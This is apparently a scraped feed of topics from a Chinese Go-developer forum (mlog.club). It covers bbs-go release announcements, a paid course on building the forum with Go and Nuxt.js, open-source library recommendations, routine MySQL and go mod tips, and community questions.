在没有外部依赖项的任何地方运行(甚至没有 libc) 相关链接 项目地址:https://github.com/caddyserver/caddy 中文文档地址:https://dengxiaolong.com/caddy/zh/ + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + bbs-go 3.0.7 发布 + 2019-12-30T11:56:03+08:00 + tag:mlog.club,2019-12-30:/topic/676 + + 更新内容 热门话题推荐功能 优化项目加载速度 优化最终编译的js文件体积 支持代码高亮功能 话题、文章删除时加上确认提示,防止误删除 完善后台用户管理功能,以及其他细节功能 文档地址 官方交流演示站:https://mlog.club 帮助文档:http://docs.bbs-go.com/ 问题反馈:https://mlog.club/topic/create 功能建议收集:https://mlog.club/topic/609 公众号 欢迎关注公众号码农俱乐部获取更多干货资源。 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 尴尬了,删除的太快了 + 2019-12-29T21:34:11+08:00 + tag:mlog.club,2019-12-29:/topic/675 + + 本来想点修改的,谁知道点成了删除。。。? + + https://file.mlog.club/images/2019/12/21/5aff91a2445536e089fbc31480e33a33.jpg + + + + 请问网站文章的采集是用的什么呀? + 2019-12-28T22:13:59+08:00 + tag:mlog.club,2019-12-28:/topic/674 + + 请问网站文章的采集是用的什么呀?❤️ + + https://file.mlog.club/images/2019/12/21/5aff91a2445536e089fbc31480e33a33.jpg + + + + 前天武汉附近发地震了,我才想起来我的小米手机没有地震预警 + 2019-12-28T09:34:41+08:00 + tag:mlog.club,2019-12-28:/topic/673 + + 小米手机不是号称自己有地震预警吗? + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 弄个热榜,精华 + 2019-12-27T09:36:51+08:00 + tag:mlog.club,2019-12-27:/topic/672 + + 一开始要靠内容吸引人,参考一下别的网站,wanandroid, 掘金之类,靠开源吸引人气不靠谱。 可以考虑搞个热榜,精华,去采集一些数据,靠 UGC 不行的。 一点个人建议。 + + https://file.mlog.club/images/2019/12/27/b4f386f11b03c8820b0919eed8df900e.jpg + + + + Boost Note 的全新版本(β版)开放了! + 2019-12-26T17:18:14+08:00 + tag:mlog.club,2019-12-26:/topic/671 + + Boost Note 的全新版本(β版)开放了! 主要项目 ・我们的名字由 “Boostnote” 变成了“Boost Note”! ・网页 · 桌面软件 (Windows, Linux and macOS) 的全新版本(β)开放了 ・移动端软件( iOS and Android )预计年底开放 ・全设备云端同步 ・开始众筹 ・明年春季开放团队版 新版本的 Boost Note,也请大家多多关照! + + https://file.mlog.club/images/2019/12/26/dd9b56a1c0014083aebcb74a5b53fe3b.jpg + + + + 开源项目推荐:Kratos - 来自B站的Go语言微服务框架 + 2019-12-26T11:32:36+08:00 + tag:mlog.club,2019-12-26:/topic/670 + + 吐槽下,我之前看过泄露的 B 站源码,没发现有这么高度凝练的框架... 都是业务代码,乱的一批,难道我看的是假泄露吗??? Kratos 是 bilibili 开源的一套 Go 微服务框架,包含大量微服务相关框架及工具。 名字来源于:《战神》游戏以希腊神话为背景,讲述由凡人成为战神的奎托斯(Kratos)成为战神并展开弑神屠杀的冒险历程。 Goals 我们致力于提供完整的微服务研发体验,整合相关框架及工具后,微服务治理相关部分可对整体业务开发周期无感,从而更加聚焦于业务交付。对每位开发者而言,整... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 请问go怎么连接操作oracle数据库呢? + 2019-12-26T09:10:01+08:00 + tag:mlog.club,2019-12-26:/topic/669 + + + + https://file.mlog.club/images/2019/12/26/6d8d5d7fbf8dd16ada208a0378046997.jpg + + + + 用markdown语法是不足之处 + 2019-12-25T16:42:06+08:00 + tag:mlog.club,2019-12-25:/topic/668 + + 程序员都不一定会用 别说其他人了 + + https://file.mlog.club/images/2019/12/25/3661f3381f8d87e9a9e948ae1a21b22c.jpg + + + + bbs-go 3.0.5 发布,基于 Go 语言的 BBS 系统 + 2019-12-25T16:04:21+08:00 + tag:mlog.club,2019-12-25:/topic/667 + + ? 祝大家圣诞快乐 ? 更新内容 支持话题节点功能,话题分类更加清晰 支持html格式跟帖 页面样式改版,感谢各位网友给的建议。 文档地址 官方交流演示站:https://mlog.club 帮助文档:http://docs.bbs-go.com/ 问题反馈:https://mlog.club/topic/create 功能建议收集:https://mlog.club/topic/609 发布地址 https://gitee.com/mlogclub/bbs-go/releases/v3... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 用文言文进行编程 + 2019-12-24T18:47:54+08:00 + tag:mlog.club,2019-12-24:/topic/666 + + 文言文編程語言。A programming language for the ancient Chinese. Try it online. 序 夫唐、虞之世,結繩而足治,屈指而足算。是時豈料百代之後,計算機械之巧,精於公輸之木鳶,善於武侯之流馬;程式語言之多,繁若《天官》之星宿,奇勝《山經》之走獸。鼠、蟹、鑽、魚,或以速稱。蛇、象、駱、犀,各爭文采。方知鬼之所以夜哭,天之所以雨粟。然以文言編程者 ,似所未有。此誠非文脈之所以傳,文心之所以保。嗟予小子),遂有斯志。然則數寸之烏絲猶覆於頭,萬卷之素書未... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 开源项目推荐:goldmark - Go语言实现的markdown编辑器 + 2019-12-24T16:16:31+08:00 + tag:mlog.club,2019-12-24:/topic/665 + + 项目主页 https://github.com/yuin/goldmark/ 简介 goldmark是用 Go 语言编写的 markdown 解析器。易于扩展,符合标准(CommonMark 0.29),结构合理。 Motivation I need a Markdown parser for Go that meets following conditions: Easy to extend. Markdown is poor in document expressions compar... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + mariadb修改datadir目录 + 2019-12-23T18:56:25+08:00 + tag:mlog.club,2019-12-23:/topic/664 + + mysql, MariaDB 的默认数据存放在 /var/lib/mysql/ 目录下, 如果不想放到此处, 或者是想要程序和数据分离,或者是磁盘原因, 需要切换到其他路径, 则可以通过修改 datadir 系统变量来达成目的. # 停止数据库 service mysql stop # 创建目录,假设没有的话 mkdir /data/mysql_data # 拷贝默认数据库到新的位置 # -a 命令是将文件属性一起拷贝,否则各种问题 cp -a /var/lib/my... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 开源项目推荐: gout - Go 的 HTTP 开发包 + 2019-12-23T18:37:32+08:00 + tag:mlog.club,2019-12-23:/topic/663 + + 在 Go 语言中,我之前一直使用的是 go-resty 这个库很方便,但是今天我们换一个口味,介绍下另外一个库 gout 构架 feature 支持设置 GET/PUT/DELETE/PATH/HEAD/OPTIONS 支持设置请求 http header(可传 struct,map,array,slice 等类型) 支持设置 URL query(可传 struct,map,array,slice,string 等类型) 支持设置 json,xml,yaml 编码到请求 body 里面 (Se... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 这个版本已经支持节点功能了,干净试一下咋样,哈哈。 + 2019-12-19T16:40:12+08:00 + tag:mlog.club,2019-12-19:/topic/660 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 其实 站长真的不打算重写前端吗 感觉现在使用的有点糙啊 + 2019-12-16T15:20:05+08:00 + tag:mlog.club,2019-12-16:/topic/659 + + 可以参考下其他同类社区 感觉码农的前端有点不忍直视啊,难道真的像传说中那样 后端程序员写前端无能吗? + + https://file.mlog.club/images/2019/12/16/00bc6c0d51114fb957aa15af85ea8aeb.jpg + + + + 没有节点,只有标签来区分话题? + 2019-12-13T10:33:54+08:00 + tag:mlog.club,2019-12-13:/topic/658 + + 如果每个人都可以自己建标签,那岂不是很乱?我填上 5 个标签,那在这 5 个里面都有我的帖子。。。 + + https://file.mlog.club/images/2019/12/14/bd148a2a3382a6049eb69ba848b4448a.jpg + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】12. 搭建后台帖子管理功能 + 2019-12-05T18:49:06+08:00 + tag:mlog.club,2019-12-05:/topic/654 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 在前面章节中我们完成了后台管理功能的基础框架搭建,接下来我们基于之前的代码继续完善后台管理功能。 知识点 使用 Go 语言开发... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】11. 使用Element-UI搭建后台管理系统 + 2019-12-05T18:48:35+08:00 + tag:mlog.club,2019-12-05:/topic/653 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 element-ui是由饿了么开源的一套基于 Vue.js 组件库。本实验我们就适用element-ui将我们论坛的后台管理的框架搭... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】10. 搭建跟帖模块 + 2019-12-05T18:48:11+08:00 + tag:mlog.club,2019-12-05:/topic/652 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 上面我们完成了帖子模块的搭建,接下来我们来完成庚帖功能的搭建,跟帖搭建完成之后就能完成论坛的互动功能了。 知识点 跟帖模块服务... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】9. 搭建帖子模块 + 2019-12-05T18:47:47+08:00 + tag:mlog.club,2019-12-05:/topic/651 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 相信通过上一个实验已经能够独立的完成一个完整的模块开发了,那么本章节的帖子模块开发对你来也许是一个体力活。接下来,我们继续基于上一个... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】8. 搭建用户模块 + 2019-12-05T18:44:55+08:00 + tag:mlog.club,2019-12-05:/topic/650 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 一个论坛系统,用户模块是组基础的,最必不可少的,所以我们先从用户模块开始,一步步的完善论坛系统。接下来我们接着上一个实验继续完善用户... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】7. 深入Nuxt.js + 2019-12-05T18:44:27+08:00 + tag:mlog.club,2019-12-05:/topic/649 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 上个实验中,我们讲解了如何创建一个Nuxt.js项目,想在我们继续基于上个实验深入讲解下如何高效的使用Nuxt.js。 知识点 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】6. 使用Nuxt.js搭建前端页面 + 2019-12-05T18:43:52+08:00 + tag:mlog.club,2019-12-05:/topic/648 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 认识Nuxt.js,了解它的适用场景和优缺点;学会如何搭建一个基于Nuxt.js的项目,并了解它的基本用法。 知识点 认识 N... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】5. 使用gorm操作数据库 + 2019-12-05T18:43:26+08:00 + tag:mlog.club,2019-12-05:/topic/647 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 认识 Go 语言ORM框架:gorm,并学会如何使用gorm进行数据库操作。 知识点 如何配置数据库链接 如何使用 GORM ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】4. 深入Iris mvc + 2019-12-05T18:42:49+08:00 + tag:mlog.club,2019-12-05:/topic/646 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 上面的章节中我们对Iris有了初步的认识,那么接下来我们继续接着上个章节的内容更加深入的讲些一下Iris的特性:控制器 (contr... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】3. 使用Iris搭建http服务 + 2019-12-05T18:42:04+08:00 + tag:mlog.club,2019-12-05:/topic/645 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 本实验我们来认识一下 Go 语言 Web 框架Iris,并使用它搭建一个 Web 服务。 知识点 认识 Iris 使用 Iri... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】2. 使用go mod管理依赖 + 2019-12-05T18:41:00+08:00 + tag:mlog.club,2019-12-05:/topic/644 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 介绍 Go 语言官方提供的依赖管理工具go mod,学会如何在项目中使用go mod,以及历史项目如何切换到使用go mod来管理依... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 【Go + Nuxt.js 搭建一个 BBS 系统】1. 开发环境搭建 + 2019-12-05T18:40:27+08:00 + tag:mlog.club,2019-12-05:/topic/643 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 作者简介 大猫猫,互联网公司老码农、不折腾不舒服斯基,多年千万日活服务端研发和架构经验。关注公众号查看更多技术干货: 实验介绍 实验内容 简单介绍 Go 语言起源,以及如何搭建 Go 语言开发环境。 知识点 Go 语言介绍 配置 Go 语言环境变量 Go 语言的 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Go + Nuxt.js 搭建一个 BBS 系统 + 2019-12-05T18:34:47+08:00 + tag:mlog.club,2019-12-05:/topic/642 + + 点击下面链接购买后可获取本课程完整源码,同时提供高大上的在线IDE开发环境,边看教程边动手。 购买地址:https://www.shiyanlou.com/courses/1436 购买九折优惠邀请码: ZHwfIjb1 课程介绍 该课程详解讲解了一个基于 Go 语言 + Nuxt.js + Vue.js 搭建的论坛系统,共分以下 12 个章节: 1. 开发环境搭建 2. 使用 go mod 管理依赖 3. 使用 Iris 搭建 http 服务 4. 深入 Iris mvc 5. 使用 gor... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 华为李洪元这件事情大家怎么看? + 2019-12-05T15:41:11+08:00 + tag:mlog.club,2019-12-05:/topic/641 + + 前段时间才看了华为胡玲事件(不清楚的请百度),现在由除了李洪元事件,让我觉得华为的企业文化太恶心了。 华为的营销确实牛逼,现在华为都成了爱国的代名词了... 但是华为所有的产品都很好吗,性价比都很高吗?说实话要是有五六千块钱我就买苹果,不买华为。。 现在我在网上都不敢说华为的坏话了,怕喷子 ? + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + Go 语言读写 Excel + 2019-11-23T21:57:23+08:00 + tag:mlog.club,2019-11-23:/topic/637 + + Excelize 是 Go 语言编写的一个用来操作 Office Excel 文档类库,基于 ECMA-376 Office OpenXML 标准。可以使用它来读取、写入 XLSX 文件。相比较其他的开源类库,Excelize 支持写入原本带有图片 (表) 的文档,还支持向 Excel 中插入图片,并且在保存后不会丢失图表样式。 安装 go get github.com/360EntSecGroup-Skylar/excelize 创建 XLSX package main import ( ... + + https://file.mlog.club/images/2019/11/22/8572454aac0762a8ec6a44f6fce21560.jpg + xuri.me@gmail.com + + + + 有周末还写代码的吗? + 2019-11-23T16:55:36+08:00 + tag:mlog.club,2019-11-23:/topic/635 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Python 大红大紫,我却在敲敲学 Go + 2019-11-22T14:18:48+08:00 + tag:mlog.club,2019-11-22:/topic/634 + + 潘总一条学习 Python 的微博,让原本就 “网红” 的 Python 又更加大红大紫了,Python 火热的势头似乎已经不可阻挡。 然而,最近却发现,不少的 Python 工程师转向了 Go 语言,腾讯、阿里、头条、360 等等大厂小厂也将一些业务转向了 Go 语言,甚至像知乎、饿了么这些后端主力编程语言原本是 Python 的公司也把核心业务向 Go 技术栈迁移。 “人生苦短,我用 Python” ,Python 这么火热有它简单易学的特点。Go 语言能够被各种厂家以及程序员们接受,自然也有它... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + bbs-go 3.0.4 发布,基于 Go 语言的 BBS 系统 + 2019-11-18T11:34:14+08:00 + tag:mlog.club,2019-11-18:/topic/633 + + 公众号 欢迎关注公众号码农俱乐部获取更多干货资源。 更新内容 优化文章列表加载性能,将加载方式修改为上拉加载更多,这种方式在加载列表时不需要count列表总数量,当数据量大时count很耗时。 修改网站样式和配色,新的样式和配色更加好看。 重构前端页面组件,将公用部分抽象成可复用组件。 重构代码完全遵循eslint配置的规则,让eslint没有警告️。 新增配置项站外链接跳转,开启后站外链接需要用户确认后才能进行跳转。 文档地址 官方交流演示站:https://mlog.club 帮... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 史上最全bbs-go安装教程 + 2019-11-16T23:22:20+08:00 + tag:mlog.club,2019-11-16:/topic/632 + + go 安装,建议安装 1.13 以上的版本 下载地址 https://studygolang.com/dl AliyunOss 配置 注册阿里云账号 创建新空间 我这里是因为创建过来 创建之后就会生成AccessId,AccessSecret qq 第三方注册 验证完成之后才能使用 部署 mysql 我这里就是用宝塔一键部署吧 参考https://www.bt.cn/download/linux.html 如果是 linux 可以执行以下命令安装 Centos 安装脚本 ... + + https://file.mlog.club/images/2019/11/12/53388447e99bbb34da5b3005e31bce90.jpg + + + + bbs-go搭建课程上线啦~ + 2019-11-15T17:06:39+08:00 + tag:mlog.club,2019-11-15:/topic/631 + + 课程地址 & 邀请码 bbs-go搭建课程上线啦,快来跟着我一步步搭建属于你的 bbs 吧。该课程会带领大家一步步的了解并熟悉 Go 语言开发,如果你是一个 Go 语言初学者,或者正准备学习 Go 语言,那么这个课程非常适合你。如果你熟练掌握了本课程中的知识点,相信你就已经入门 Go 语言开发,并能胜任日常的开发工作了。 课程地址:https://www.shiyanlou.com/courses/1436 9 折优惠邀请码: ZHwfIjb1 效果预览 前台页面 后台管理系统页面 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 希望将docs并入bbs-go + 2019-11-15T12:57:23+08:00 + tag:mlog.club,2019-11-15:/topic/630 + + 站长您好, 之前可能我没表达太清楚,其实最初的想法,是希望 bbs-go 能直接从路由中分出一个 url 放 docs,因为 docs 本质上就是个帖子,只是路由上看起来像 docs 而已。并不是单独用其他技术栈做 docs。 就像:https://www.liaoxuefeng.com 这个站,本质上是个 bbs,但他顺便开发了 doc 的功能。从 url 上看,更像是一体的。例如:https://www.liaoxuefeng.com/wiki/1016959663602400/101731694909... + + https://file.mlog.club/images/2020/01/02/a3de9727edc0105398bb9387de5aa425.jpg + widora@qq.com + + + + Go语言将链接提交到百度 + 2019-11-14T14:46:09+08:00 + tag:mlog.club,2019-11-14:/topic/628 + + 当有新的文章时,将文章链接提交到百度,让百度尽快收录。 package common import ( "strings" "github.com/sirupsen/logrus" "gopkg.in/resty.v1" ) // 百度链接推送 func BaiduUrlPush(urls []string) { if urls == nil || len(urls) == 0 { return } api := "http://data.zz.baidu.com/urls?site... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + MySQL查询数据库和每个表所占空间大小 + 2019-11-14T14:40:18+08:00 + tag:mlog.club,2019-11-14:/topic/627 + + 查询数据库占用磁盘空间: select TABLE_SCHEMA, concat(truncate(sum(data_length)/1024/1024,2),'MB') as data_size, concat(truncate(sum(index_length)/1024/1024,2),'MB') as index_size from information_schema.tables group by TABLE_SCHEMA order by data_length desc; 查询... + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + bbs-go 3.0.3 发布,基于 Go 语言的 BBS 系统 + 2019-11-11T11:05:52+08:00 + tag:mlog.club,2019-11-11:/topic/623 + + 功能预览:https://mlog.club 更新内容 支持 Docker 快速部署 ( 感谢热心用户 @athom 的 PR https://github.com/mlogclub/bbs-go/pull/25 ) 新增本地快速构建脚本 完善后台配置功能,导航菜单、侧边栏导航都能在后台配置 优化数据库索引和数据查询性能 Iris 升级至版本 12 ( 感谢 Iris 作者的 PR:https://github.com/mlogclub/bbs-go/pull/27 ) 重构代码,优化代码结构 完善配... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + BBS-GO 安装部署 + 2019-11-10T19:44:06+08:00 + tag:mlog.club,2019-11-10:/topic/622 + + 请问有没有人有写过 BBS-GO 的完整部署文档? 求指导指导 安装这个 BBS 折腾好几天了, 主要有以下几个问题: 图片上传阿里云 OSS, 配置如下: 图片还是无法上传, 不知道哪里有问题 BBS-Go 后台管理部署后打开提示要用户名和密码, 后来在 github 上发现提交记录里面发现 admin/src/apis/HttpClient.js 这个文件里面的 baseURL 里面需要指向 bbs-go-server 的接口地址, 我更改后就不提示要输入用户名和密码来, 但是出现一堆报错 ... + + https://file.mlog.club/images/2019/11/20/2e35501f1c7696828209b6136bdfb574.jpg + + + + 想把这套社区程序搭建到我的站点上,不知道后续升级会不会方便 + 2019-11-05T17:32:11+08:00 + tag:mlog.club,2019-11-05:/topic/620 + + 我是 go 语言初学者,自己有一个小站,如果把这套系统搭建上去的话,是不是可以只更新主程序就能升级了,毕竟如果真得实际使用的话,数据库一般不会动了 + + https://file.mlog.club/images/2019/11/20/97864e29ec123168e876f417a596c6fc.jpg + + + + Go语言配置go mod代理 + 2019-11-01T18:32:49+08:00 + tag:mlog.club,2019-11-01:/topic/618 + + 众所周知的原因,国内是无法稳定的访问 Google 的服务,所以很多依赖无法成功下载,这个时候我们就要为go mod配置代理,目前国内优质的go mod代理推荐一下两个: https://goproxy.cn https://mirrors.aliyun.com/goproxy/ 这里我推荐使用goproxy.cn,他是国内最早提供 goproxy 代理的服务,他的服务由七牛提供支持,七牛也是目前国内使用 Go 语言经验比较丰富的公司,我一直在使用goproxy.cn,很稳定。 下面我们执行一下命... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + go mod 使用帮助 + 2019-11-01T18:29:43+08:00 + tag:mlog.club,2019-11-01:/topic/617 + + 从 Go1.11 开始,golang 官方支持了新的依赖管理工具go mod。 命令行说明 ➜ ~ go mod Go mod provides access to operations on modules. Note that support for modules is built into all the go commands, not just 'go mod'. For example, day-to-day adding, removing, upgrading, and downg... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 发现一个小bug,无法退出登录? + 2019-10-13T11:49:55+08:00 + tag:mlog.club,2019-10-13:/topic/612 + + 点退出登陆木有效果,safari,不知道大家有遇到的没 QQ20191014-134522.mp4 + + https://file.mlog.club/images/2020/01/02/a3de9727edc0105398bb9387de5aa425.jpg + widora@qq.com + + + + bbs-go 3.0.1 版本发布 + 2019-09-12T15:25:11+08:00 + tag:mlog.club,2019-09-12:/topic/610 + + 更新内容 新增话题跟帖数量 新增话题点赞功能 优化界面样式 交流群 QQ 群号:653248175 扫码进群: 功能预览 使用帮助 https://mlog.club/topic/17 问题反馈 https://mlog.club/topics + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + bbs-go功能建议收集 + 2019-09-09T19:30:19+08:00 + tag:mlog.club,2019-09-09:/topic/609 + + bbs-go 是一个开源的、开放的平台,国内目前类似的社区系统有很多,所以想做得有特色一点。 现在向朋友们征集 bbs-go 功能上意见和建议,你的宝贵建议会决定 bbs-go 接下的功能和方向。 欢迎大家在评论中提交建议,被采纳的建议会统一整理到该帖子正文中。 希望 bbs-go 和大家一起成长。 TODO 话题置顶功能 用户加 V(@nyfooo9) 用户加上地区、职业(@nyfooo9) 回复输入框功能完善,支持 emoji 表情 (鲸汐) 已完成 话题点赞功能 bbs-go 项目介绍... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 基于Go语言的论坛系统:bbs-go + 2019-09-09T10:59:22+08:00 + tag:mlog.club,2019-09-09:/topic/608 + + bbs-go 是一款基于 Go 语言开发的论坛系统,采用前后端分离技术,Go 语言提供 api 进行数据支撑,用户界面使用 Nuxt.js 进行渲染,后台界面基于 element-ui。 功能预览 http://bbs-go.com 后台功能预览: 源码地址 Github:https://github.com/mlogclub/bbs-go 码云:https://gitee.com/mlog/bbs-go 文档地址 http://docs.bbs-go.com 技术栈 iri... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 优秀开源项目推荐:easyexcel 快速简单避免OOM的Java处理Excel工具 + 2019-09-05T09:51:29+08:00 + tag:mlog.club,2019-09-05:/topic/605 + + JAVA 解析 Excel 工具 easyexcel Java 解析、生成 Excel 比较有名的框架有 Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存,poi 有一套 SAX 模式的 API 可以一定程度的解决一些内存溢出的问题,但 POI 还是有一些缺陷,比如 07 版 Excel 解压缩以及解压后存储都是在内存中完成的,内存消耗依然很大。easyexcel 重写了 poi 对 07 版 Excel 的解析,能够原本一个 3M 的 excel 用 POI sax 依然需要 1... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + mlog-club 2.0.0 发布,基于Go语言的BBS系统 + 2019-09-03T14:43:25+08:00 